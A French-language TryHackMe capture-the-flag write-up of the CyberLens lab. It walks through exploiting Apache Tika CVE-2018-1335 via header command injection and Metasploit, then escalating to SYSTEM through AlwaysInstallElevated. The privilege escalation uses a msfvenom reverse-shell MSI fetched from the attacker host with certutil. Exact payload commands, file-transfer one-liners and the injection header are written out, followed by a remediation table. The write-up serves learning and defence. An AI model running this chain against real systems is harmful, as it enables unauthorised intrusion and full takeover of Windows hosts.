ZNote

Contexte & Objectifs

Champ	Détail
Plateforme	TryHackMe
Lien	Accéder au Lab
Cible	`cyberlens.thm` (Windows Server 2019)
CVE	CVE-2018-1335 (Apache Tika Header Command Injection)
PrivEsc	AlwaysInstallElevated → MSI malveillant → SYSTEM
Difficulté	Facile

Description : CyberLens est un service web d'extraction de métadonnées d'images. Derrière l'interface soignée se cache Apache Tika 1.17 — une version vulnérable à une injection de commandes via les headers HTTP. On obtient un foothold en tant qu'utilisateur standard, puis on escalade jusqu'à SYSTEM via une GPO mal configurée.

Kill chain :

RustScan → Apache sur 80 + Tika sur 61777
        │
        ▼
Inspection JS → découverte endpoint /meta sur 61777
        │
        ▼
CVE-2018-1335 → Header Command Injection → shell CyberLens
        │
        ▼
PrivescCheck → AlwaysInstallElevated détecté
        │
        ▼
msfvenom MSI → msiexec → shell SYSTEM → flag root

1. Reconnaissance — RustScan

rustscan -b 500 -a cyberlens.thm -- -sC -sV -Pn

Output complet :

PORT      STATE  SERVICE       VERSION
80/tcp    open   http          Apache httpd 2.4.57 ((Win64))
| http-methods:
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-title: CyberLens: Unveiling the Hidden Matrix
135/tcp   open   msrpc         Microsoft Windows RPC
139/tcp   open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open   microsoft-ds?
3389/tcp  open   ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: CYBERLENS
|   NetBIOS_Computer_Name: CYBERLENS
|   Product_Version: 10.0.17763
5985/tcp  open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
47001/tcp open   http          Microsoft HTTPAPI httpd 2.0
49664-49674/tcp open msrpc     Microsoft Windows RPC

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Analyse des services intéressants :

Port	Service	Intérêt
80	Apache 2.4.57	Application web — premier vecteur à explorer
445	SMB	Partages potentiels, énumération
3389	RDP	Accès graphique si on a des credentials
5985	WinRM	Exécution de commandes à distance (Evil-WinRM)

[!NOTE] Le TTL de 126 dans les réponses confirme qu'on est face à une machine Windows (TTL initial 128, décrémenté de 2 sauts). Un TTL proche de 64 indiquerait Linux.

On commence par le port 80 — c'est toujours le premier à explorer sur une cible web.

2. Énumération Web

2.1 Feroxbuster — Content Discovery

feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt \
  -u http://cyberlens.thm

301  GET  http://cyberlens.thm/images
301  GET  http://cyberlens.thm/css
301  GET  http://cyberlens.thm/js
200  GET  http://cyberlens.thm/

Rien de critique côté répertoires — pas de panel d'administration caché, pas d'endpoint sensible. On passe à l'inspection manuelle.

2.2 Inspection Manuelle — La Découverte Clé

On navigue sur http://cyberlens.thm. Le site présente un service d'extraction de métadonnées d'images.

En scrollant, on voit le formulaire d'upload d'image qui envoie le fichier vers un service de traitement.

L'étape pivot : on inspecte le code source de la page (Ctrl+U).

Dans le JavaScript, on trouve l'endpoint utilisé pour l'extraction :

// Extrait du code source JS
fetch("http://cyberlens.thm:61777/meta", {
  method: "PUT",
  headers: { "Content-Type": "image/jpeg" },
  body: formData,
});

Le service envoie les images vers le port 61777 sur la même machine. On y navigue directement :

http://cyberlens.thm:61777/

Apache Tika 1.17 — version et service identifiés. Quelques secondes de recherche confirment : CVE-2018-1335, Header Command Injection, toutes versions 1.7 à 1.17.

3. Exploitation — CVE-2018-1335 (Header Command Injection)

Comprendre la vulnérabilité

Apache Tika est un toolkit open-source d'extraction de contenu et de métadonnées depuis des fichiers de différents formats (images, PDF, documents). Dans ce lab, il tourne en mode serveur (tika-server) sur le port 61777, exposé sans authentification.

La faille : les versions 1.7 à 1.17 passent certains headers HTTP directement à la ligne de commande du système via Runtime.exec(), sans aucune validation. En particulier le header X-Tika-OCRTesseractCheck — conçu pour vérifier la disponibilité de Tesseract OCR — est vulnérable à l'injection.

Requête normale :
  Header: X-Tika-OCRTesseractCheck: tesseract
  Tika exécute : tesseract --version

Requête malveillante :
  Header: X-Tika-OCRTesseractCheck: tesseract; cmd.exe /c whoami
  Tika exécute : tesseract --version; cmd.exe /c whoami  ← RCE

Références : Acunetix / Exploit-DB 47208

Exploitation via Metasploit

msfconsole

On recherche le module Tika :

msf6 > search tika

msf6 > use 0
msf6 exploit(windows/http/apache_tika_jtess_commander) > show options

Configuration et lancement :

msf6 exploit(windows/http/apache_tika_jtess_commander) > set RHOSTS cyberlens.thm
msf6 exploit(windows/http/apache_tika_jtess_commander) > set RPORT 61777
msf6 exploit(windows/http/apache_tika_jtess_commander) > set LHOST <IP_TUN0>
msf6 exploit(windows/http/apache_tika_jtess_commander) > run

Vérification post-exploitation

meterpreter > getuid
Server username: CYBERLENS\CyberLens

meterpreter > getprivs

Enabled Process Privileges
==========================
Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege

meterpreter > sysinfo
Computer        : CYBERLENS
OS              : Windows Server 2019 (10.0 Build 17763)
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Meterpreter     : x86/windows

On est CYBERLENS\CyberLens — utilisateur standard. Deux privilèges seulement, rien d'exploitable directement. On passe en shell Windows pour récupérer le premier flag :

meterpreter > shell

4. Élévation de Privilèges

4.1 Enumération avec PrivescCheck

WinPEAS n'a rien donné de concluant. On passe à PrivescCheck.ps1 — un script PowerShell qui effectue des vérifications rapides pour détecter les failles d'élévation de privilèges sur Windows.

Référence : github.com/itm4n/PrivescCheck

Étape 1 — Téléchargement sur Kali :

wget https://github.com/itm4n/PrivescCheck/releases/download/2026.04.29-1/PrivescCheck.ps1

PrivescCheck.ps1  100% [===========>] 226.86K   901KB/s    in 0.3s

Étape 2 — Serveur web pour le transfert :

python3 -m http.server 80

Étape 3 — Téléchargement sur la machine Windows (depuis le shell Meterpreter) :

powershell iwr http://<IP_KALI>/PrivescCheck.ps1 -Outfile C:\users\public\PrivescCheck.ps1

Étape 4 — Exécution :

# Bypass de la politique d'exécution PowerShell
powershell -ep bypass

# Charger et lancer le script
. .\PrivescCheck.ps1
Invoke-PrivescCheck

Le script détecte plusieurs checks. En scrollant les résultats, une entrée ressort :

AlwaysInstallElevated est activé.

4.2 Comprendre AlwaysInstallElevated

C'est une directive de Stratégie de Groupe (GPO) Windows extrêmement dangereuse si elle est mal configurée.

[!IMPORTANT] Normalement, lorsqu'un utilisateur standard essaie d'installer un logiciel (un fichier .msi), Windows vérifie ses droits. Si l'installation nécessite d'écrire dans C:\Program Files ou de modifier des clés de registre système, Windows demande les identifiants d'un administrateur (le fameux message UAC).

L'option AlwaysInstallElevated dit à Windows : "Peu importe qui lance l'installation d'un fichier MSI, utilise le service Windows Installer avec les privilèges les plus élevés (SYSTEM)."

En coulisses, l'activation de cette GPO repose sur la modification du registre Windows. Pour que la faille soit exploitable (et que PrivescCheck lève l'alerte), deux clés de registre distinctes doivent impérativement être configurées avec la valeur 1 :

Clé registre	Rôle
`HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1`	La machine autorise la méthode
`HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1`	L'utilisateur actuel peut l'utiliser

Les deux doivent être à 1 pour que la faille soit exploitable. PrivescCheck confirme que c'est le cas.

Le plan : générer un .msi malveillant avec msfvenom. Quand on l'exécute avec msiexec, Windows Installer le lance en SYSTEM et notre reverse shell pop avec les pleins pouvoirs.

4.3 Exploitation — MSI Malveillant

Référence : labex.io — Generate a payload with msfvenom

Étape 1 — Générer le payload MSI :

msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=<IP_KALI> \
  LPORT=4444 \
  -f msi \
  -o root.msi

Option	Rôle
`-p windows/x64/meterpreter/reverse_tcp`	Payload Meterpreter 64-bit en reverse TCP
`LHOST`	IP de notre machine Kali
`LPORT`	Port d'écoute
`-f msi`	Format de sortie : package Windows Installer
`-o root.msi`	Nom du fichier généré

Étape 2 — Listener Metasploit et serveur web :

# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — serveur web
python3 -m http.server 80

Étape 3 — Transfert sur la cible via certutil :

certutil -urlcache -f http://<IP_KALI>/root.msi root.msi

Étape 4 — Exécution silencieuse :

msiexec /quiet /qn /i root.msi

Option	Rôle
`/quiet`	Mode silencieux (pas d'interface graphique)
`/qn`	Aucune interaction utilisateur
`/i`	Installation normale

Notre listener reçoit une connexion — cette fois avec les privilèges NT AUTHORITY\SYSTEM.

4.4 Flag Root

meterpreter > shell
C:\Windows\system32> whoami
nt authority\system

5. Conclusion & Remédiation

Kill chain complète

1. RustScan          → Apache 80 + ports Windows (RDP, SMB, WinRM)
2. Feroxbuster       → Pas de répertoires sensibles
3. Inspection JS     → Endpoint /meta sur port 61777 → Apache Tika 1.17
4. CVE-2018-1335     → Header Command Injection → Meterpreter CyberLens
5. Flag user         → Récupéré via shell Windows
6. PrivescCheck      → AlwaysInstallElevated détecté
7. msfvenom MSI      → Package malveillant généré
8. msiexec           → Exécution SYSTEM → Meterpreter SYSTEM
9. Flag root         → Récupéré

Remédiation

Vecteur	Problème	Remédiation
Apache Tika 1.17	Version vulnérable exposée sans authentification	Mettre à jour vers Tika ≥ 1.18 ; protéger le port 61777 par un pare-feu
Port 61777 exposé	Service interne accessible publiquement	Écouter uniquement sur `127.0.0.1` ; proxy interne uniquement
AlwaysInstallElevated	N'importe quel utilisateur peut installer en SYSTEM	Désactiver via GPO : mettre les deux clés registre à `0`
Pas d'authentification Tika	Requêtes non authentifiées acceptées	Ajouter une authentification ou un reverse proxy avec auth
WinRM exposé (5985)	Exécution de commandes à distance possible	Restreindre WinRM aux IPs d'administration uniquement

[!NOTE] La leçon principale de ce lab : les services tiers exposés sans authentification sont souvent la porte d'entrée la plus facile. Apache Tika est un outil légitime et utile — mais le laisser tourner sur un port accessible publiquement avec une version non patchée depuis 2018, c'est offrir un accès initial sur un plateau.

Writeup rédigé par ZCook